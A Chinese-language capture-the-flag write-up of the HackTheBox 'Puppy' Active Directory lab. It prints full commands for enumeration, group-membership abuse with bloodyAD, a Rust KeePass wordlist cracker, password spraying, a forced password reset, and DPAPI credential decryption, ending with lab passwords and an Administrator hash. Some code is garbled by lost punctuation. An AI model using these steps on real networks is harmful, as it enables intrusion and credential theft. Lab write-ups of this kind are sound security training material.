HTB-puppy

admin 2025年5月21日02:16:48评论22 views字数 7814阅读26分2秒阅读模式
HTB-puppy

条件:levi.james / KingofAkron2025!

扫描靶机

nmap -A -v -T4 10.10.11.70
HTB-puppy
一些常规的windows端口,得到了puppy.htb域名,写到hosts,然后使用账号枚举看看能不能登录smb
smbmap -H puppy.htb -u levi.james -p 'KingofAkron2025!'
HTB-puppy
可以看到有个DEV,是登录进去,但是不能列举出来,那就先枚举出一波用户名
netexec smb puppy.htb -u levi.james -p 'KingofAkron2025!' --users
HTB-puppy
可以得到了这几个用户
AdministratorGuestkrbtgtlevi.jamesant.edwardsadam.silverjamie.williamssteph.coopersteph.cooper_adm
接下来使用blodhound的py版本收集信息
bloodhound-python -dc dc.puppy.htb -u levi.james -p 'KingofAkron2025!' -d puppy.htb -c All -ns 10.10.11.70
HTB-puppy
拿到内网环境后,然后打开bloodhound,获得关系
HTB-puppy
从上面可以看到len用户是hr的组,同时hr组对dev组有GenericWrite的权限,说明lev用户可以修改dev组的属性,包括添加新成员的,使用bloodyAD工具,首先获得dev的属性
bloodyAD --host 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' get object 'DEVELOPERS'
HTB-puppy
可以看到里面有一些用户名是在这个组里面的,然后将lev用户添加到这个组里面
bloodyAD --host 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' add groupMember 'DEVELOPERS' 'levi.james'
HTB-puppy
然后可以看到lev用户可以访问里面dev的内容了,直接smbclient登录进去
HTB-puppy
发现里面有个keepass的文件,将他们下载下来,然后进行破解,自己手搓一个,等你们帮我优化
use keepass::{DatabaseDatabaseKeydb::NodeRef};use std::fs::File;use std::io::{selfBufReadBufReaderCursor};use std::path::Path;use std::sync::atomic::{AtomicBoolAtomicUsizeOrdering};use std::sync::Arc;use std::thread;use std::time::{DurationInstant};use rayon::prelude::*;fnmain() -> io::Result<()> {    println!("=== IKun - KeePass 密码破解工具 ===");    // 获取 .kdbx 文件路径    println!("请输入 .kdbx 文件路径:");    let kdbx_path = read_input()?.trim().to_string();    if !Path::new(&kdbx_path).exists() {        eprintln!("[!] 错误:文件 '{}' 不存在!", kdbx_path);        std::process::exit(1);    }    // 获取单词表文件路径    println!("请输入单词表文件路径(如 rockyou.txt):");    let wordlist_path = read_input()?.trim().to_string();    let file = match File::open(&wordlist_path) {        Ok(file) => file,        Err(e) => {            eprintln!("[!] 错误:无法打开单词表文件 '{}':{}", wordlist_path, e);            std::process::exit(1);        }    };    // 预加载 kdbx 文件到内存    println!("[+] 正在加载 kdbx 文件到内存...");    let kdbx_data = {        let mut file = File::open(&kdbx_path)?;        let mut buffer = Vec::new();        std::io::Read::read_to_end(&mut file, &mut buffer)?;        Arc::new(buffer)    };    // 统计单词表大小    let reader = BufReader::new(File::open(&wordlist_path)?);    let total_passwords = reader.lines().count();    if total_passwords == 0 {        eprintln!("[!] 错误:单词表为空!");        std::process::exit(1);    }    println!("[+] 单词表包含 {} 个密码", total_passwords);    println!("[+] 使用 {} 个线程(CPU 核心数)进行破解", rayon::current_num_threads());    // 共享状态    let try_count = Arc::new(AtomicUsize::new(0));    let found = Arc::new(AtomicBool::new(false));    let start_time = Instant::now();    // 启动进度显示线程    let try_count_progress = Arc::clone(&try_count);    let found_progress = Arc::clone(&found);    let progress_handle = thread::spawn(move || {        while !found_progress.load(Ordering::SeqCst) {            let count = try_count_progress.load(Ordering::SeqCst);            let elapsed = start_time.elapsed().as_secs_f64();            let speed = if elapsed > 0.0 { count as f64 / elapsed } else { 0.0 };            let remaining = if speed > 0.0 {                ((total_passwords - count) as f64 / speed).ceil() as u64            } else {                0            };            println!(                "[*] 进度:已尝试 {}/{} 个密码({:.1}%),速度:{:.1} 密码/秒,预计剩余时间:{} 秒",                count, total_passwords, (count as f64 / total_passwords as f64) * 100.0, speed, remaining            );            thread::sleep(Duration::from_secs(1));        }    });    // 流式读取单词表并分块处理    let file = File::open(&wordlist_path)?;    let reader = BufReader::new(file);    let batch_size = 1000// 每块 1000 个密码    let mut batchVec::new();    for line in reader.lines() {        if found.load(Ordering::SeqCst) {            break;        }        let password = match line {            Ok(line) => line.trim().to_string(),            Err(e) => {                eprintln!("[!] 读取密码失败:{}", e);                continue;            }        };        batch.push(password);        if batch.len() >= batch_size {            process_batch(&batch, &kdbx_data, &try_count, &found);            batch.clear();        }    }    // 处理剩余的密码    if !batch.is_empty() && !found.load(Ordering::SeqCst) {        process_batch(&batch, &kdbx_data, &try_count, &found);    }    // 等待进度线程完成    progress_handle.join().expect("进度线程崩溃");    if !found.load(Ordering::SeqCst) {        println!("n[!] 破解失败:单词表中的密码均无效。");    }    Ok(())}// 处理一批密码fnprocess_batch(batch: &[String], kdbx_data: &Arc<Vec<u8>>, try_count: &Arc<AtomicUsize>, found: &Arc<AtomicBool>{    batch.par_iter().for_each(|password| {        if found.load(Ordering::SeqCst) {            return;        }        let mut cursor = Cursor::new(kdbx_data.as_ref());        let key = DatabaseKey::new().with_password(password);        match Database::open(&mut cursor, key) {            Ok(db) => {                if !found.swap(trueOrdering::SeqCst) {                    println!("n[+] 成功!密码已找到:{}", password);                    println!("[+] 正在提取条目:n");                    for node in db.root.iter() {                        if let NodeRef::Entry(entry) = node {                            let title = entry.get_title().unwrap_or("");                            let username = entry.get_username().unwrap_or("");                            let password = entry.get_password().unwrap_or("");                            println!(" - 标题:{} | 用户名:{} | 密码:{}", title, username, password);                        }                    }                }            }            Err(_) => {                try_count.fetch_add(1Ordering::SeqCst);            }        }    });}// 读取用户输入fnread_input() -> io::Result<String{    let mut input = String::new();    io::stdin().read_line(&mut input)?;    Ok(input)}
HTB-puppy
HTB-puppy
 - 标题:JAMIE WILLIAMSON | 用户名: | 密码:JamieLove2025! - 标题:ADAM SILVER | 用户名: | 密码:HJKL2025! - 标题:ANTONY C. EDWARDS | 用户名: | 密码:Antman2025! - 标题:STEVE TUCKER | 用户名: | 密码:Steve2025! - 标题:SAMUEL BLAKE | 用户名: | 密码:ILY2025!
成功破解出来了,将这些信息收集起来,然后跑一下smb
netexec smb 10.10.11.70 -u user.txt -p pass.txt
HTB-puppy
可以得到一个ant.edwards匹配Antman2025!密码,然后继续利用这个账户拿下内网信息
bloodhound-python -dc dc.puppy.htb -u ant.edwards -p 'Antman2025!' -d puppy.htb -c All -ns 10.10.11.70
HTB-puppy
然后查看一下内网关系
HTB-puppy
HTB-puppy
从上面可以到ant用户是属于sni组里面的,然后sni组对adam用户有个GenericAll属性,说明adam用户对sni组可以完全控制的权利,包括重置密码,修改用户等操作,使用bloodyAD查看一下当前用户的状态
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' get object "adam.silver"
HTB-puppy
可以看到userAccountControl是显示NORMAL_ACCOUNT,就是普通的账户,后面是DONT_EXPIRE_PASSWORD属性,其实有点矛盾pwdLastSet可能已超出域的密码策略90天了,但 DONT_EXPIRE_PASSWORD好像覆盖了,先做一下筛选可以写入的用户,然后修改筛选出特定对象
bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' get writable --detail | grep -A 20 "distinguishedName: CN=.*DC=PUPPY,DC=HTB" | grep -B 20 "WRITE"
HTB-puppy
bloodyAD --host 10.10.11.70 -d 'puppy.htb' -u 'ant.edwards' -p 'Antman2025!' get writable --detail | grep -E "distinguishedName: CN=.*DC=PUPPY,DC=HTB" -A 10
HTB-puppy
首先使用bloodyAD工具移除adam用户的ACCOUNTDISABLE属性,意思就是改为512属性
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac 'ADAM.SILVER' -f ACCOUNTDISABLE
HTB-puppy
bloodyAD --host 10.10.11.70 -d puppy.htb -u ant.edwards -p 'Antman2025!' --dc 10.10.11.70 set password "adam.silver" 'Passw@rd'
HTB-puppy
看来成功的更改了密码,直接登录winrm
HTB-puppy
成功拿到了user flag,在C盘底下有个backup的文件夹,打开看看,然后将其下载
HTB-puppy
可以看到有个压缩包,将其下载下来,并且解压
HTB-puppy
在nms-auth-config.xml.bak里面有个,账号密码,可以登录winrm的
netexec winrm 10.10.11.70 -u steph.cooper -p 'ChefSteph2025!'
HTB-puppy
直接登录进去,查看一下当前用户的关系
HTB-puppy
有两个用户的,可以得知steph.cooper_adm隶属于admin组的
HTB-puppy
这两个账户看似一样,但是组不一样,可以通过dpapi来进行提权,首先找到凭据和加密保护文件
Get-ChildItem "C:Userssteph.cooperAppDataRoamingMicrosoftCredentials" -Force -Recurse | Format-ListGet-ChildItem "C:Userssteph.cooperAppDataRoamingMicrosoftProtect" -Force -Recurse | Format-List
HTB-puppy
现在得到了DPAPI加密凭据,还有S-1-5-21-1开头的主密钥文件,先提权主密钥文件,然后用来解密DPAPI加密凭据
C:Userssteph.cooperAppDataRoamingMicrosoftCredentialsC8D69EBE9A43E9DEBF6B5FBD48B521B9C:Userssteph.cooperAppDataRoamingMicrosoftProtectS-1-5-21-1487982659-1829050783-2281216199-1107556a2412-1275-4ccf-b721-e6a0b4f90407
HTB-puppy
下载下来后然后利用dpapi工具解密一个 DPAPI 主密钥文件,结合用户 SID 和密码,目的是提取 Windows 系统中的加密凭据
impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
HTB-puppy
成功得到了钥匙,然后直接解密,可以得到密码
impacket-dpapi credential -file "C8D69EBE9A43E9DEBF6B5FBD48B521B9" -key "0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84"
HTB-puppy
成功得到了密码,直接登录可以拿到admin
evil-winrm -i 10.10.11.70 -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
HTB-puppy
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c541c389e2904b9b112f599fd6b333d:::

原文始发于微信公众号(Jiyou too beautiful):HTB-puppy

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月21日02:16:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB-puppyhttp://cn-sec.com/archives/4087052.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息